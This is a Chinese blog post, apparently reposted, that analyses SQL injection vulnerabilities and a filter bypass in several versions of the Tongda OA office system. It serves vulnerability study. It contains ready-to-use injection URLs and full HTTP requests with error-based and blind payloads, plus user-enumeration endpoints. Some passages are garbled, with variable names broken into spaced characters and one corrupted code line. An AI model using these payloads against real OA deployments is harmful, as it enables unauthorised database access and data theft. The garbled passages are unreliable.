网络安全漏洞分析小结

本文阅读 10 分钟

(一) 前言

这里感谢师傅前面整理的通达OA一些版本的漏洞复现,这里从漏洞点出发,分析漏洞,从中学些一些师傅白盒挖掘漏洞的思路。 ​

安装包下载地址,可以通过枚举版本号下载对应的安装包:

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
https://www.tongda2000.com/download/down.php?VERSION=2019&code=

安装教程为傻瓜式一键安装,这里不细说。 默认账号密码admin/(空) img

【一>所有资源获取<一】
1、电子书籍(白帽子)
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

(二) 信息收集

一、版本信息

/inc/expired.php

img /inc/reg_trial.php

img

/inc/reg_trial_submit.php

img

二、计算机名

需要高于2013版本

/resque/worker.php

img

三、用户名&邮箱枚举

需要高于2013版本 ​

/ispirit/retrieve_pwd.php?username=要枚举的用户

存在的用户 img

不存在的用户 img

(三) 通达OA2013

一、/interface/ugo.php 报错注入

漏洞复现

/interface/ugo.php?OA_USER=a%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20database()),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271

img

漏洞分析

1、首先定位到漏洞点/interface/ugo.php 使用函数urldecode解析O A U S E R , 这 也 是 为 什 么 单 引 号 使 用 ∗ ∗ 然 后 下 面 调 用 e x t l o g i n c h e c k 方 法 处 理 OA_USER,这也是为什么单引号使用%2527的原因 然后下面调用ext_login_check方法处理 OAU​SER,这也是为什么单引号使用∗∗然后下面调用extl​oginc​heck方法处理OA_USER

img

2、全局搜索ext_login_check,在第16、17行看到直接拼接并调用方法exequery执行 img

3、exequery方法是这样定位的: 首先ugo.php包含了inc/session.php文件 img

session.php文件包含了inc/conn.php文件 img

在conn.php文件中就看到了exequery方法 img

4、前面简单处理了union select和info outfile和into dumpfile

if (!$LOG) {
        $POS = stripos($Q, "union");
        if ($POS !== FALSE && stripos($Q, "select", $POS) !== FALSE) {
            exit;
        }
        $POS = stripos($Q, "into");
        if ($POS !== FALSE && (stripos($Q, "outfile", $POS) !== FALSE || stripos($Q, "dumpfile", $POS) !== FALSE)) {
            exit;
        }
    }

5、在这里执行了sql语句 img

二、/interface/auth.php 报错注入

漏洞复现

思路还是比较简单的。

/interface/auth.php?&PASSWORD=1&USER_ID=%df%27 and (select 1 from (select count(*),concat((select concat(0x3a,(select database()) ,0x3a) from user limit 1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

img

漏洞分析

1、根据URL定位漏洞点/interface/auth.php img

2、关键代码截取下来了,很明显这里加了过滤,将一些字符替换为空,所以无法利用。

//替换为空
$USER_ID = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $USER_ID);
//检测传参是否非空,空的话exit
if ($USER_ID == "" || $PASSWORD == "") {
    message("", _("»¥Áª»¥Í¨·ÃÎʽӿڵÄÓû§Ãû»òÃÜÂëÓÐÎó"));
    exit;
}
//直接拼接USER_ID
$query = "select * from EXT_USER where USER_ID='" . $USER_ID . "'";
//调用exequery执行
$cursor = exequery($connection, $query);

三、/interface/go.php 报错注入

漏洞复现

emm。。同上,我这里已经无法复现了

interface/go.php?APP_UNIT=a%2527 and 1=(select 1 from(select count(*),concat(database(),0x7c,user(),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) and %25271%2527=%25271

img

漏洞分析

1、根据URL定位漏洞点/interface/go.php img

2、OA_USER和APP_UNIT都进行了过滤

//过滤单引号等字符,替换为空
$OA_USER = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $OA_USER);
$APP_UNIT = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $APP_UNIT);
//直接拼接APP_UNIT
$query = "select MEMBER_ID from CONNECT_CONFIG where MEMBER_NAME='" . $APP_UNIT . "'";
//调用exequery方法执行
$cursor = exequery($connection, $query);

3、jdr师傅是复现了APP_UNIT参数的SQL注入,然后这里往下看,可以看到OA_USER与/interface/ugo.php中的一样,在下面调用了ext_login_check方法

if ($OA_USER == "admin") {
    echo _("¸ÃÕʺÅÎÞȨ·ÃÎÊ");
    exit;
}
session_start();
ob_start();
if ($LOGIN_USER_ID != $OA_USER) {
    include_once "./auth.php";
    $result = ext_login_check($OA_USER);
    if ($result != "1") {
        echo $result;
        exit;
    }
}

而ext_login_check方法是没有过滤的,所以,理论上,旧版本在/interface/go.php?OA_USER=应该也会有注入。 img

(四) 通达OA2015

一、/ispirit/retrieve_pwd.php 盲注

漏洞复现

1、判断是否存在注入

/ispirit/retrieve_pwd.php?_GET[username]=admin'or 1=1 and'a'='a

img

2、判断数据库长度为5

/ispirit/retrieve_pwd.php?_GET[username]=admin' or if((length(database())=5),1,power(88888,88)) and'a'='a

img

img

3、判断数据库是否为td_oa

/ispirit/retrieve_pwd.php?_GET[username]=admin'or if((database()='td_oa'),1,power(888888,88))and'a'='a

img

img

漏洞分析

这里代码没找到旧版本的,就理性分析一下。 1、根据URL定位漏洞点/ispirit/retrieve_pwd.php img

2、前面看到请求了2个参数username和email,然后username直接拼接

<?phpinclude_once "inc/conn.php";include_once "inc/utility_all.php";//get请求$username = $_GET["username"];$email = $_GET["email"];//直接拼接username$query = "SELECT UID,USER_ID,USER_NAME,USEING_KEY FROM USER WHERE BYNAME='{$username}'";//调用exequery执行$cursor = exequery(TD::conn(), $query);

3、定位exequery方法,在inc/conn.php中 img

4、首先看exequery方法,调用了db_query方法

function exequery($C, $Q, $QUERY_MASTER = false, $LOG = true)
{
    $cursor = @db_query($Q, $C, $QUERY_MASTER);
    if (!$cursor) {
        printerror("<b>" . _("SQL") . "</b> " . $Q, $LOG);
    }
    return $cursor;
}

5、然后看db_query方法,第一行就调用sql_injection进行了检测是否存在SQL注入。往下可以看到还有一些其他检测如select和set的,这里推测应该是在一定基础上进行了一次绕过,然后就直接加了sql_injection方法在前面。

function db_query($Q, $C, $QUERY_MASTER = false)
{
    sql_injection($Q, "'");
    if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || strtolower(substr(ltrim($Q), 0, 6)) != "select" && strtolower(substr(ltrim($Q), 0, 3)) != "set")) {
        if ($C == TD::$_res_conn && $C != TD::$_res_conn_master) {
            if (!is_resource(TD::$_res_conn_master)) {
                TD::$_res_conn_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db"]);
            }
            $C = TD::$_res_conn_master;
        } else {
            if ($C == TD::$_res_conn_crscell && $C != TD::$_res_conn_crscell_master) {
                if (!is_resource(TD::$_res_conn_crscell_master)) {
                    TD::$_res_conn_crscell_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db_crscell"]);
                }
                $C = TD::$_res_conn_crscell_master;
            }
        }
    }
    return @mysql_query($Q, $C);
}

6、跟进到sql_injection方法,代码有点长,其实就是进行了黑名单校验。 img

$clean = trim(strtolower(preg_replace(array("~\\s+~s"), array(" "), $clean)));
if (strpos($clean, "union") !== false && preg_match("~(^|[^a-z])union(\$|[^[a-z])~s", $clean) != 0) {
if (2 < strpos($clean, "/*") || strpos($clean, "--") !== false || strpos($clean, "#") !== false) {
if (strpos($clean, "sleep") !== false && preg_match("~(^|[^a-z])sleep(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "benchmark") !== false && preg_match("~(^|[^a-z])benchmark(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "load_file") !== false && preg_match("~(^|[^a-z])load_file(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "cast") !== false && preg_match("~(^|[^a-z])mid(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "ord") !== false && preg_match("~(^|[^a-z])ord(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "ascii") !== false && preg_match("~(^|[^a-z])ascii(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "extractvalue") !== false && preg_match("~(^|[^a-z])extractvalue(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "updatexml") !== false && preg_match("~(^|[^a-z])updatexml(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "into outfile") !== false && preg_match("~(^|[^a-z])into\\s+outfile(\$|[^[a-z])~s", $clean) != 0) {
if (strpos($clean, "exp") !== false && preg_match("~(^|[^a-z])exp(\$|[^[a-z])~s", $clean) != 0) {
if (stripos($db_string, "update") !== false && stripos($db_string, "user") !== false && stripos($db_string, "set") !== false && stripos($db_string, "file_priv") !== false) {

(五) 通达OA2017

一、/general/document/index.php/setting/keywords/index 布尔盲注

漏洞复现

数据包如下:

POST /general/document/index.php/setting/keywords/index HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

_SERVER[QUERY_STRING]=kname=1'+and@`'`+or+if(substr(user(),1,1)='r',1,exp(710))#

1、当数据库用户名第一个为r时,页面返回正常 img

2、用户名前4位,不为rooq,页面报错 img 为root时页面正常 img

漏洞分析

1、根据请求定位漏洞点general/document/index.php [图片上传中…(image.png-9c661f-1642860268114-0)]

2、这里很明显,开始引用框架了,大概看出来是在webrootinctd_frameworkcoreFramework.php文件中 简单理解一下其实跟tp框架差不多,就是controllers/文件/方法这样的。 img

3、因为payload路径为/general/document/index.php/setting/keywords/index,所以定位到文件:webrootgeneraldocumentcontrollerssettingkeywords.php的index方法。 [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640599199165-908fc4b5-abc3-4624-9997-b4d375d71249.png#clientId=uc27ec12d-45fb-4&from=paste&height=603&id=u46f66364&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1206&originWidth=1734&originalType=binary&ratio=1&size=231420&status=done&style=none&taskId=u6e2cbfa0-853b-4cce-b4ad-191eaef72eb&width=867) 4、查看分别是设置了config数组和data数组的值,其中第二行调用了_get_where方法

public function index()
    {
        $this->load->helper('td_doc');
        $where = $this->_get_where();
        $config['base_url'] = site_url('setting/keywords/index') . '?kname=' . $this->kname . '&category=' . $this->category;
        $config['total_rows'] = $this->mkeyword->get_keywords_count($where);
        $config['per_page'] = '6';
        $config['uri_segment'] = 4;
        $data['search_url'] = site_url('setting/keywords');
        $data['pages'] = $this->_pagination($config, $where);
        $data['keywords'] = $this->mkeyword->get_keywords($where, $this->uri->segment(4, 0), $config['per_page']);
        $data['kname'] = $this->kname;
        $data['category'] = $this->category;
        $data['category_list'] = get_syscode_list('DOC_CATEGORY');
        $this->load->view('setting/keywords', $data);
    }

5、往前看,分析_get_where方法

public function _get_where()
    {
        //首先将$_SERVER['QUERY_STRING']参数值变成变量
        parse_str($_SERVER['QUERY_STRING'], $_GET);
        //因为已经传了kname,所以跳过
        if (isset($_GET['kname'])) {
            $this->kname = $_GET['kname'];
        }
        //不传参,也先不看
        if (isset($_GET['category'])) {
            $this->category = $_GET['category'];
        }
        $where = '';
        //将kname的值拼接到$where中
        if ($this->kname) {
            $where = ' and kname like \'%' . $this->kname . '%\'';
        }
        //将category的值拼接到$where中
        if ($this->category) {
            $where .= ' and category=\'' . $this->category . '\'';
        }
        return $where;
    }

6、可以看到这里就是漏洞点了,直接拼接传参到where中,那么回到index方法,注意这一段

$config['total_rows'] = $this->mkeyword->get_keywords_count($where);

调用了mkeyword的get_keywords_count方法,传参为拼接的$where 在文件最前面可以看到mkeyword为加载的model img

7、定位到webrootgeneraldocumentmodelsmkeyword.php的get_keywords_count方法 [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640616389223-89e598ed-feb1-4752-848e-91c16159834e.png#clientId=uc27ec12d-45fb-4&from=paste&height=724&id=uefeb0652&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1448&originWidth=2254&originalType=binary&ratio=1&size=283263&status=done&style=none&taskId=uc04103df-ebb2-4feb-bc75-c6433aca381&width=1127) 8、代码如下,直接将传过来的$where拼接到sql语句中进行执行

public function get_keywords_count($where)
    {
        $sql = 'select count(*) as total from doc_keywords where 1=1' . $where;
        $query = $this->db->query($sql, false, true, true);
        return $query->row()->total;
    }

9、然后,这里我就卡住了,因为解密文件的不顺利,我不能直接通过PHPstorm打开跳转找到query方法,于是我冥思苦想,找了好多文件,之后,回到代码中,这里是$this->db->query,那么是不是就是db这个class中的query方法呢。 我回去看了Framework.php,其中有这样一个配置,db指向了database img

10、于是我在框架所在的目录下的libraris目录下,发现了database.php,在169行,成功发现了query方法 img

[](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640616902821-0ba8aa92-e522-46bb-8756-fefc105699f7.png#clientId=ub6218f4b-5332-4&from=paste&height=637&id=u88c80b7a&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1274&originWidth=2162&originalType=binary&ratio=1&size=286784&status=done&style=none&taskId=ua18238d9-bc25-48e6-a7b6-e455ce97c81&width=1081) 11、前面一段检测了select,进行了一些赋值

public function query($sql, $binds = false, $return_object = true, $QUERY_MASTER = false)
    {   //截取字符串是不是为select
        if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || ((strtolower(substr(ltrim($sql), 0, 6)) != 'select') && (strtolower(substr(ltrim($sql), 0, 3)) != 'set')))) {
            if (!is_resource($this->master_conn_id)) {
                $this->tomasterdb();
            }

            $this->conn_id = $this->master_conn_id;
        }
        else if (is_resource($this->slave_conn_id)) {
            $this->conn_id = $this->slave_conn_id;
        }
        //$binds为false
        if ($binds !== false) {
            $sql = $this->compile_binds($sql, $binds);
        }
        //全局搜索save_queries,为true,将sql赋值到queries数组中
        if ($this->save_queries == true) {
            $this->queries[] = $sql;
        }

        $time_start = list($sm, $ss) = explode(' ', microtime());

12、往下看

//这里先调用方法_execute处理$sql
if (false === $this->result_id = $this->_execute($sql)) {
            if ($this->save_queries == true) {
                $this->query_times[] = 0;
            }

            $this->display_error();
            return false;
        }

        $time_end = list($em, $es) = explode(' ', microtime());
        $this->benchmark += ($em + $es) - ($sm + $ss);

        if ($this->save_queries == true) {
            $this->query_times[] = ($em + $es) - ($sm + $ss);
        }

        ->query_count++;

        if ($return_object !== true) {
            return true;
        }
        //这里是最后的返回值,创建了一个TD_Database_result对象
        $RES = new TD_Database_result();
        $RES->conn_id = $this->conn_id;
        $RES->result_id = $this->result_id;
        return $RES;

13、查看_execute方法,调用了_prep_query方法处理字符串,然后调用db_query执行 img

14、_prep_query方法进行了一些delete的过滤 [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640617427356-046c1d04-827a-435c-8587-e9179e98af04.png#clientId=ub6218f4b-5332-4&from=paste&height=194&id=udb2562db&margin=%5Bobject%20Object%5D&name=image.png&originHeight=388&originWidth=1958&originalType=binary&ratio=1&size=69643&status=done&style=none&taskId=u047d63e5-aab0-4fc7-b787-a7abc4e968c&width=979) 15、db_query方法以我多年的经验,很快找到是在/inc/conn.php文件中,这里跟前面2015的一样了,sql_injection基本过滤了注入需要的函数 [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640617500568-dacef699-ea22-44b1-bb1b-fc2cccb1368a.png#clientId=ub6218f4b-5332-4&from=paste&height=637&id=u4e62e4a0&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1274&originWidth=2560&originalType=binary&ratio=1&size=290716&status=done&style=none&taskId=u947662fe-12d0-442e-a8a7-f5fd61743d4&width=1280) 16、回到前面的keyword.php,因为原复现的时候,是通过传参kname进行注入的,但是实际上我们发现还有一个category也好像没有任何过滤进行了执行,尝试之后发现,果然也存在 [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640617809364-3051c90f-9cf0-4765-b2c5-0e7b8acb3c0d.png#clientId=ub6218f4b-5332-4&from=paste&height=465&id=u3e9f0d91&margin=%5Bobject%20Object%5D&name=image.png&originHeight=930&originWidth=2832&originalType=binary&ratio=1&size=263109&status=done&style=none&taskId=ufe15e44d-3e22-4e2e-8e63-deb59e77553&width=1416) [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640617839460-44f10422-2872-4494-893d-e1249bffa7f5.png#clientId=ub6218f4b-5332-4&from=paste&height=439&id=u742573d6&margin=%5Bobject%20Object%5D&name=image.png&originHeight=878&originWidth=2774&originalType=binary&ratio=1&size=189425&status=done&style=none&taskId=ufbf1cca2-9513-4ea2-b41b-af19d76ea5b&width=1387) 数据包如下:

POST /general/document/index.php/setting/keywords HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://10.211.55.3
Connection: close
Referer: http://10.211.55.3/general/document/index.php/setting/keywords
Cookie: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn
Upgrade-Insecure-Requests: 1

_SERVER%5BQUERY_STRING%5D=category%3D1%27%2Band%40%60%27%60%2Bor%2Bif%28substr%28user%28%29%2C1%2C4%29%3D%27root%27%2C1%2Cexp%28710%29%29%23

17、可能这就是分析漏洞的快乐吧,突然就发现了其他类似的接口同样存在漏洞。当然因为是sql注入,也想看看具体执行了什么语句

数据库连接信息可以在这里看到 [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640618043306-4255f6d4-4c14-41a7-8ef4-5b00f7175501.png#clientId=ub6218f4b-5332-4&from=paste&height=370&id=u69c873df&margin=%5Bobject%20Object%5D&name=image.png&originHeight=740&originWidth=1286&originalType=binary&ratio=1&size=73833&status=done&style=none&taskId=ue2235097-3586-4d5f-a0b2-1c5ddfab785&width=643) 监控后执行,可以看到完整的sql语句

select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'

img

18、然后,我就好奇了为什么需要在里面加上

@`'`

19、尝试fuzz一下,发现,如果没有多一个单引号,关键字会被检测出来

_SERVER[QUERY_STRING]=category=1'+and@``+or+if(substr(user(),1,4)='root',1,exp(710))#

[](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640618228454-6fa2de16-e219-478a-ba35-75a15d3580a8.png#clientId=ub6218f4b-5332-4&from=paste&height=373&id=u1a3f83ac&margin=%5Bobject%20Object%5D&name=image.png&originHeight=746&originWidth=2468&originalType=binary&ratio=1&size=176011&status=done&style=none&taskId=uf42bd63d-6caa-445f-8648-4969b143daf&width=1234) 如果没有@,那么语句就会报错

_SERVER[QUERY_STRING]=category=1'+and`'`+or+if(substr(user(),1,4)='root',1,exp(710))#

img

20、这里就很明显发现了大佬们bypass的一个思路,首先通过单引号跳过了检测的代码,然后又通过@和反引号,使后面的语句成功执行。 我将sql语句放到数据库中执行,发现不会报错 img

但是如果删掉@,就报错了,因为多了个单引号 img

21、通过查阅资料我了解到了,mysql中的@表示设置一个变量,而``反引号则是转义符,这里是通过设置一个反引号的变量来绕过过滤。真的觉得太强了。 回到过滤的sql_injection方法,可以看到就是这里导致了存在绕过 [](https://cdn.nlark.com/yuque/0/2021/png/12366538/1640618762406-02f84bbc-d8ad-4834-8756-3d0f9551b6ec.png#clientId=ub6218f4b-5332-4&from=paste&height=619&id=ua27659a4&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1238&originWidth=1754&originalType=binary&ratio=1&size=212484&status=done&style=none&taskId=u57052b18-37bb-4067-aa92-630b7e484d7&width=877) 22、因为直接看有点搞不清楚具体逻辑,于是我将其单独拎出来,编写成一个php文件运行调试

<?php

function sql_injection($db_string)
{
    $clean = '';
    $error = '';
    $old_pos = 0;
    $pos = -1;
    while (true) {
        $pos = strpos($db_string, '\'', $pos + 1);
        if ($pos === false) {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        //echo $clean;
        while (true) {
            $pos1 = strpos($db_string, '\'', $pos + 1);
            $pos2 = strpos($db_string, '\\', $pos + 1);
            if ($pos1 === false) {
                break;
            } else {
                if ($pos2 == false || $pos1 < $pos2) {
                    $pos = $pos1;
                    break;
                }
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s/pre>;
        $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\\s+~s'), array(' '), $clean)));
    echo $clean;
}
$a = "select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'";
sql_injection($a);
?>

可以看到输出结果已经去掉了后面的语句 img

23、因为后面的过滤都是过滤c l e a n , 而 这 里 很 明 显 看 到 , clean,而这里很明显看到, clean,而这里很明显看到,clean已经被@'截断了,所以绕过了 经过调试分析代码,我理解了,在原来的获取注入点检测的逻辑,是将单引号里面的值替换为s s s,所以正常的SQL语句提取结果应该是:

select count(*) as total from doc_keywords where 1=1 and category='1' and or if(substr(user(),1,4)='root',1,exp(710))#'

1、找第1、2个单引号 select count(*) as total from doc_keywords where 1=1 and category=‘1’

2、找第3、4个单引号 and or if(substr(user(),1,4)='root'

img

24、再看看加了单引号之后的效果

select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'

1、找第1、2个单引号

select count(*) as total from doc_keywords where 1=1 and category='1'

2、找第3、4个单引号

' or if(substr(user(),1,4)='`

3、第5个单引号后面到注释符前都没有单引号,所以不构成一对,不进行拼接

image.png

搞懂了,瞬间觉得师傅们的思路太强了。

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/kali_Ma/article/details/122653399
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复